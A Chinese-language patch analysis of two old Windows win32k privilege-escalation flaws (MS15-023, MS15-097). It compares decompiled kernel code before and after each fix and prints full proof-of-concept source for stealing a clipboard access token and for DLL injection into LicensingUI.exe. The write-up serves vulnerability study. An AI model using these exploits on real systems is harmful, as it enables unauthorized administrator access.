目录
MS15-023
CVE-2015-0078 微软漏洞描述
Windows 内核模式驱动程序中存在一个特权提升漏洞,该漏洞是由于内核模式驱动程序未能正确验证调用线程的令牌而导致的。
成功利用此漏洞的经过身份验证的攻击者可以获得管理员凭据并使用它们来提升权限。然后攻击者可以安装程序;查看、更改或删除数据;或创建具有完全管理权限的新帐户。要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行旨在提高权限的特制应用程序。此更新通过更正内核模式驱动程序验证调用线程令牌的方式来解决漏洞。
漏洞作者分析
NtUserGetClipboardAccessToken win32k 系统调用将最后一个用户的访问令牌公开给低权限用户。它还可用于打开通常 OpenThreadToken 不应该做的匿名模拟线程令牌。
NtUserGetClipboardAccessToken 方法打开一个令牌对象,该对象在 NtUserCloseClipboard 系统调用期间捕获,假设调用者已将某些内容写入剪贴板。
补丁分析
我们这里以windows 7的x86的补丁分析,补丁解开之后的目录列表如下:
- ms15-023\x86\win32k_6.3.9600.17694
- win32k.sys
win32k.sys
主要包括一个更新函数:
- NtUserGetClipboardAccessToken
NtUserGetClipboardAccessToken
更新前
BOOL __stdcall NtUserGetClipboardAccessToken(int a1, ACCESS_MASK DesiredAccess)
{
int v2; // edx
BOOL v3; // ebx
void *v4; // ecx
void **v5; // ecx
void *Handle; // [esp+18h] [ebp-1Ch] BYREF
CPPEH_RECORD ms_exc; // [esp+1Ch] [ebp-18h]
Handle = 0;
EnterCrit(1);
if ( sub_BF190(
*(_DWORD *)(*(_DWORD *)(gptiCurrent + 200) + 456),
*(_DWORD *)(*(_DWORD *)(gptiCurrent + 200) + 460),
0x2000,
-1)
&& (v4 = *(void **)(*(_DWORD *)(*(_DWORD *)(*(_DWORD *)v2 + 216) + 12) + 68)) != 0 )
{
v3 = ObOpenObjectByPointer(v4, 0, 0, DesiredAccess, (POBJECT_TYPE)SeTokenObjectType, 1, &Handle) >= 0;
ms_exc.registration.TryLevel = 0;
v5 = (void **)a1;
if ( (unsigned int)a1 >= W32UserProbeAddress )
v5 = (void **)W32UserProbeAddress;
*v5 = Handle;
ms_exc.registration.TryLevel = -2;
}
else
{
v3 = 0;
sub_66C6A(5);
}
UserSessionSwitchLeaveCrit();
return v3;
}
更新后
BOOL __stdcall NtUserGetClipboardAccessToken(int a1, ACCESS_MASK DesiredAccess)
{
int v2; // eax
BOOL v3; // ebx
void *v4; // ecx
void **v5; // ecx
void *Handle; // [esp+18h] [ebp-1Ch] BYREF
CPPEH_RECORD ms_exc; // [esp+1Ch] [ebp-18h]
Handle = 0;
EnterCrit();
v2 = PsGetCurrentProcessWin32Process();
if ( (IsImmersiveBroker(v2)
|| CheckAccessForIntegrityLevel(
*(_DWORD *)(*(_DWORD *)(gptiCurrent + 200) + 456),
*(_DWORD *)(*(_DWORD *)(gptiCurrent + 200) + 460),
0x2000,
-1))
&& (v4 = *(void **)(*(_DWORD *)(*(_DWORD *)(gptiCurrent + 216) + 12) + 68)) != 0 )
{
v3 = ObOpenObjectByPointer(v4, 0, 0, DesiredAccess, (POBJECT_TYPE)SeTokenObjectType, 1, &Handle) >= 0;
ms_exc.registration.TryLevel = 0;
v5 = (void **)a1;
if ( (unsigned int)a1 >= W32UserProbeAddress )
v5 = (void **)W32UserProbeAddress;
*v5 = Handle;
ms_exc.registration.TryLevel = -2;
}
else
{
v3 = 0;
sub_511AC(5);
}
UserSessionSwitchLeaveCrit();
return v3;
}
重点分析
增加了两个校验函数IsImmersiveBroker和CheckAccessForIntegrityLevel,只要符合其中之一就可以通过。
PoC分析
执行过程为:
- 获取GetClipboardAccessToken的dll调用地址
- GetProcessToken获取当前进程句柄
- GetTokenIntegrityLevel获取当前进程完整性级别(IL)
- GetAdminSid获取管理员SID
- 调用GetClipboardAccessToken获取令牌Token
- DuplicateTokenEx复制模拟令牌Token
- CheckTokenMembership检查令牌是否管理员
- SetTokenIL设置令牌的IL为当前进程IL
- ImpersonateLoggedOnUser用复制的令牌进行模拟登录
- CreateFile在系统目录创建文件
可以看到通过PoC的执行,可以验证复制出来的令牌已经具有管理员权限。
具体代码参考下面:
int _tmain(int argc, _TCHAR* argv[])
{
_GetClipboardAccessToken f_GetClipboardAccessToken = (_GetClipboardAccessToken)GetProcAddress(LoadLibrary(L"user32.dll"), "GetClipboardAccessToken");
HANDLE hProcess = GetProcessToken();
DWORD curr_il = GetTokenIntegrityLevel(hProcess);
if (f_GetClipboardAccessToken)
{
typed_buffer_ptr<SID> adminSid;
if (!GetAdminSid(adminSid))
{
printf("Error getting admin sid\n");
}
printf("Perform a copy in an elevated process window\n");
while (true)
{
HANDLE hToken;
if (f_GetClipboardAccessToken(&hToken, MAXIMUM_ALLOWED))
{
HANDLE hImpToken;
if (DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, nullptr, SecurityImpersonation, TokenImpersonation, &hImpToken))
{
BOOL isMember;
if (CheckTokenMembership(hImpToken, adminSid, &isMember) && isMember)
{
if (SetTokenIL(hImpToken, curr_il))
{
if (ImpersonateLoggedOnUser(hImpToken))
{
HANDLE hFile = CreateFile(L"c:\\windows\\test.txt", GENERIC_READ | GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, 0, 0);
if (hFile != INVALID_HANDLE_VALUE)
{
printf("Opened file: %p\n", hFile);
CloseHandle(hFile);
break;
}
else
{
printf("Error: %d\n", GetLastError());
}
}
else
{
printf("Error impersonating %d\n", GetLastError());
}
}
else
{
printf("Error setting IL\n");
}
}
CloseHandle(hImpToken);
}
else
{
printf("Error duplicating: %d\n", GetLastError());
}
CloseHandle(hToken);
}
Sleep(1000);
}
}
else
{
printf("GetClipboardAccessToken doesn't exist, not Windows 8.1?\n");
}
return 0;
}
MS15-097
CVE-2015-2527 微软漏洞描述
当 Windows 内核模式驱动程序 (Win32k.sys) 在某些进程初始化场景中无法正确验证和强制执行完整性级别时,存在特权提升漏洞。成功利用该漏洞的攻击者可以在内核模式下运行任意代码。然后攻击者可以安装程序;查看、更改或删除数据;或创建具有完全用户权限的新帐户。
要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行特制的应用程序,该应用程序可以利用该漏洞并控制受影响的系统。
漏洞作者分析
据说这在 MS15-023 中被修复为 CVE-2015-0078,以防止运行在中等 IL 以下的任何进程访问令牌。检查大致是:
if(IsImmersiveBroker() || CheckAccessForIntegrityLevelEx(0x2000)) {
ObOpenObjectByPointer(WinStationObject->ClipboardAccessToken, Access, TokenHandle);
}
这是可以绕过的,因为 IsImmersiveBroker 级别很容易获得。似乎 Win32k 在首次初始化进程并将其转换为 GUI 线程时设置了适当的 Win32Process 标志。如果可执行文件由 Microsoft 证书签名并且有一个特别命名的“.imrsiv”部分,则将设置该标志,但是无论进程的 IL 是什么,都会执行此操作。因此,您可以使用预签名的可执行文件之一创建进程,例如 explorer.exe、RuntimeBroker.exe 或 LicensingUI.exe,然后将 DLL 注入进程。这允许您绕过检查并捕获令牌。
补丁分析
更新函数和之前一致,更新后代码如下:
BOOL __stdcall NtUserGetClipboardAccessToken(int a1, ACCESS_MASK DesiredAccess)
{
BOOL v2; // ebx
void *v3; // ecx
HDC v4; // ecx
void *Handle; // [esp+10h] [ebp-20h] BYREF
char v7; // [esp+17h] [ebp-19h] BYREF
CPPEH_RECORD ms_exc; // [esp+18h] [ebp-18h]
Handle = 0;
EnterLeaveCrit::EnterLeaveCrit((EnterLeaveCrit *)&v7);
if ( CheckAccessForIntegrityLevel(
*(_DWORD *)(*(_DWORD *)(gptiCurrent + 196) + 456),
*(_DWORD *)(*(_DWORD *)(gptiCurrent + 196) + 460),
0x2000,
-1)
&& (v3 = *(void **)(*(_DWORD *)(*(_DWORD *)(gptiCurrent + 212) + 12) + 68)) != 0 )
{
v2 = ObOpenObjectByPointer(v3, 0, 0, DesiredAccess, (POBJECT_TYPE)SeTokenObjectType, 1, &Handle) >= 0;
ms_exc.registration.TryLevel = 0;
v4 = (HDC)a1;
if ( a1 >= (unsigned int)W32UserProbeAddress )
v4 = W32UserProbeAddress;
*(_DWORD *)v4 = Handle;
ms_exc.registration.TryLevel = -2;
}
else
{
v2 = 0;
UserSetLastError(5);
}
UserSessionSwitchLeaveCrit();
return v2;
}
可以注意到只是删除了校验函数IsImmersiveBroker的调用,将之前的两种条件改为一种。
我们看下校验函数IsImmersiveBroker的代码:
BOOL __usercall IsImmersiveBroker@<eax>(int a1@<ecx>, struct _EPROCESS *a2@<esi>)
{
PRKPROCESS v2; // esi
BOOL result; // eax
if ( gfIgnoreMoshHardening )
return (*(_BYTE *)(a1 + 424) & 0x30) != 16;
if ( (*(_DWORD *)(a1 + 424) & 0x30) == 32 )
return 1;
v2 = *(PRKPROCESS *)a1;
if ( _IsProcessDwm(a2) )
result = 1;
else
result = v2 == gpepCSRSS;
return result;
}
这个函数主要的校验是Microsoft 证书签名和判断是否是dwm.exe和csrss.exe。
PoC分析
主函数的作用是创建LicensingUI.exe进程,并将Dll inject到LicensingUI.exe进程。
int _tmain(int argc, _TCHAR* argv[])
{
HANDLE hToken;
OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken);
if (GetTokenIntegrityLevel(hToken) >= SECURITY_MANDATORY_MEDIUM_RID)
{
printf("ERROR: You should run this as low integrity to demonstrate the issue\n");
return 1;
}
std::wstring path = GetExecutableDir();
path += L"\\injected.dll";
STARTUPINFO startInfo = { 0 };
PROCESS_INFORMATION procInfo = { 0 };
WCHAR cmdline[] = L"LicensingUI.exe";
startInfo.cb = sizeof(startInfo);
if (CreateProcess(nullptr, cmdline, nullptr, nullptr, FALSE, CREATE_SUSPENDED, nullptr, nullptr, &startInfo, &procInfo))
{
InjectDll(procInfo.hProcess, procInfo.hThread, path);
ResumeThread(procInfo.hThread);
}
else
{
printf("Error creating process %d\n", GetLastError());
}
return 0;
}
继续看inject Dll的代码,执行过程为:
- 获取GetClipboardAccessToken的dll调用地址
- GetAdminSid获取管理员SID
- 调用GetClipboardAccessToken获取令牌Token
- GetTokenIntegrityLevel查询令牌的完整性级别
DWORD CALLBACK DoExploit(LPVOID arg)
{
_GetClipboardAccessToken f_GetClipboardAccessToken = (_GetClipboardAccessToken)GetProcAddress(LoadLibrary(L"user32.dll"), "GetClipboardAccessToken");
if (f_GetClipboardAccessToken)
{
typed_buffer_ptr<SID> adminSid;
if (!GetAdminSid(adminSid))
{
DebugPrintf("Error getting admin sid\n");
}
DebugPrintf("Perform a copy in an elevated process window\n");
while (true)
{
HANDLE hToken;
if (f_GetClipboardAccessToken(&hToken, MAXIMUM_ALLOWED))
{
DWORD il = GetTokenIntegrityLevel(hToken);
if (il >= SECURITY_MANDATORY_MEDIUM_RID)
{
DebugPrintf("Captured token %p with IL of %08X\n", hToken, il);
MessageBox(nullptr, L"Captured a User Token", L"Message", MB_ICONEXCLAMATION);
break;
}
CloseHandle(hToken);
}
Sleep(1000);
}
}
else
{
DebugPrintf("GetClipboardAccessToken doesn't exist, not Windows 8.1?\n");
}
//FreeLibraryAndExitThread((HMODULE)arg, 0);
ExitProcess(1);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
DebugPrintf("In DllMain\n");
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CreateThread(nullptr, 0, DoExploit, hModule, 0, 0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
参考
https://bugs.chromium.org/p/project-zero/issues/detail?id=219
https://bugs.chromium.org/p/project-zero/issues/detail?id=461
https://learn.microsoft.com/en-us/security-updates/securitybulletins/2015/ms15-023
https://learn.microsoft.com/en-us/security-updates/securitybulletins/2015/ms15-097